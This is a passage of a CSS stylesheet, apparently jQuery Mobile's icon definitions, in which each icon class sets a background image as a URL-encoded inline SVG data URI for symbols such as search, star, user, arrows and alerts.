url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.001px%22%20height%3D%2214.002px%22%20viewBox%3D%220%200%2014.001%2014.002%22%20style%3D%22enable-background%3Anew%200%200%2014.001%2014.002%3B%22%20%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M14.001%2C6.001v-6l-2.06%2C2.06c-0.423-0.424-0.897-0.809-1.44-1.122C7.153-0.994%2C2.872%2C0.153%2C0.939%2C3.501%20c-1.933%2C3.348-0.786%2C7.629%2C2.562%2C9.562c3.348%2C1.933%2C7.629%2C0.785%2C9.562-2.562l-1.732-1c-1.381%2C2.392-4.438%2C3.211-6.83%2C1.83%20s-3.211-4.438-1.83-6.83s4.438-3.211%2C6.83-1.83c0.389%2C0.225%2C0.718%2C0.506%2C1.02%2C0.81l-2.52%2C2.52H14.001z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-search:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M10.171%2C8.766c0.617-0.888%2C0.979-1.964%2C0.979-3.126c0-3.037-2.463-5.5-5.5-5.5s-5.5%2C2.463-5.5%2C5.5%20s2.463%2C5.5%2C5.5%2C5.5c1.152%2C0%2C2.223-0.355%2C3.104-0.962l3.684%2C3.683l1.414-1.414L10.171%2C8.766z%20M5.649%2C9.14c-1.933%2C0-3.5-1.567-3.5-3.5%20c0-1.933%2C1.567-3.5%2C3.5-3.5c1.933%2C0%2C3.5%2C1.567%2C3.5%2C3.5C9.149%2C7.572%2C7.582%2C9.14%2C5.649%2C9.14z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-shop:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M10%2C4V3c0-1.657-1.343-3-3-3S4%2C1.343%2C4%2C3v1H1v10h12V4H10z%20M4.5%2C6C4.224%2C6%2C4%2C5.776%2C4%2C5.5%20S4.224%2C5%2C4.5%2C5S5%2C5.224%2C5%2C5.5S4.776%2C6%2C4.5%2C6z%20M5%2C3c0-1.104%2C0.896-2%2C2-2c1.104%2C0%2C2%2C0.896%2C2%2C2v1H5V3z%20M9.5%2C6C9.225%2C6%2C9%2C5.776%2C9%2C5.5%20S9.225%2C5%2C9.5%2C5S10%2C5.224%2C10%2C5.5S9.775%2C6%2C9.5%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-star:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2214%2C5%209%2C5%207%2C0%205%2C5%200%2C5%204%2C8%202.625%2C13%207%2C10%2011.375%2C13%2010%2C8%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-tag:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M5%2C0H0v5l9%2C9l5-5L5%2C0z%20M3%2C4C2.447%2C4%2C2%2C3.553%2C2%2C3s0.447-1%2C1-1s1%2C0.447%2C1%2C1S3.553%2C4%2C3%2C4z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-user:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M8.851%2C10.101c-0.18-0.399-0.2-0.763-0.153-1.104C9.383%2C8.49%2C9.738%2C7.621%2C9.891%2C6.465C10.493%2C6.355%2C10.5%2C5.967%2C10.5%2C5.5%20c0-0.437-0.008-0.804-0.502-0.94C9.999%2C4.539%2C10%2C4.521%2C10%2C4.5c0-2.103-1-4-2-4C8%2C0.5%2C7.5%2C0%2C6.5%2C0C5%2C0%2C4%2C1.877%2C4%2C4.5%20c0%2C0.021%2C0.001%2C0.039%2C0.002%2C0.06C3.508%2C4.696%2C3.5%2C5.063%2C3.5%2C5.5c0%2C0.467%2C0.007%2C0.855%2C0.609%2C0.965%20C4.262%2C7.621%2C4.617%2C8.49%2C5.303%2C8.997c0.047%2C0.341%2C0.026%2C0.704-0.153%2C1.104C1.503%2C10.503%2C0%2C12%2C0%2C12v2h14v-2%20C14%2C12%2C12.497%2C10.503%2C8.851%2C10.101z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-video:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%20-2%2014%2014%22%20style%3D%22enable-background%3Anew%200%20-2%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M8%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v6c0%2C1.104%2C0.896%2C2%2C2%2C2h6c1.104%2C0%2C2-0.896%2C2-2V5V2C10%2C0.896%2C9.104%2C0%2C8%2C0z%20%20M10%2C5l4%2C4V1L10%2C5z%22%2F%3E%3C%2Fsvg%3E"); } /* Alt icons */ .ui-alt-icon.ui-icon-action:after, .ui-alt-icon .ui-icon-action:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M9%2C5v3l5-4L9%2C0v3c0%2C0-5%2C0-5%2C7C6%2C5%2C9%2C5%2C9%2C5z%20M11%2C12H2V5h1l2-2H0v11h13V7l-2%2C2V12z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-alert:after, .ui-alt-icon .ui-icon-alert:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0L0%2C12h14L7%2C0z%20M7%2C11c-0.553%2C0-1-0.447-1-1s0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1S7.553%2C11%2C7%2C11z%20M7%2C8C6.447%2C8%2C6%2C7.553%2C6%2C7V5%20c0-0.553%2C0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1v2C8%2C7.553%2C7.553%2C8%2C7%2C8z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-d:after, .ui-alt-icon .ui-icon-arrow-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%229%2C7%209%2C0%205%2C0%205%2C7%200%2C7%207%2C14%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-d-l:after, .ui-alt-icon .ui-icon-arrow-d-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C3%2011%2C0%203.5%2C7.5%200%2C4%200%2C14%2010%2C14%206.5%2C10.5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-d-r:after, .ui-alt-icon .ui-icon-arrow-d-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2210.5%2C7.5%203%2C0%200%2C3%207.5%2C10.5%204%2C14%2014%2C14%2014%2C4%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-l:after, .ui-alt-icon .ui-icon-arrow-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%227%2C5%207%2C0%200%2C7%207%2C14%207%2C9%2014%2C9%2014%2C5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-r:after, .ui-alt-icon .ui-icon-arrow-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C7%207%2C0%207%2C5%200%2C5%200%2C9%207%2C9%207%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-u:after, .ui-alt-icon .ui-icon-arrow-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%227%2C0%200%2C7%205%2C7%205%2C14%209%2C14%209%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-u-l:after, .ui-alt-icon .ui-icon-arrow-u-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C11%206.5%2C3.5%2010%2C0%200%2C0%200%2C10%203.5%2C6.5%2011%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-u-r:after, .ui-alt-icon .ui-icon-arrow-u-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C0%204%2C0%207.5%2C3.5%200%2C11%203%2C14%2010.5%2C6.5%2014%2C10%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-audio:after, .ui-alt-icon .ui-icon-audio:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.018px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014.018%2014%22%20style%3D%22enable-background%3Anew%200%200%2014.018%2014%3B%22%20xml%3As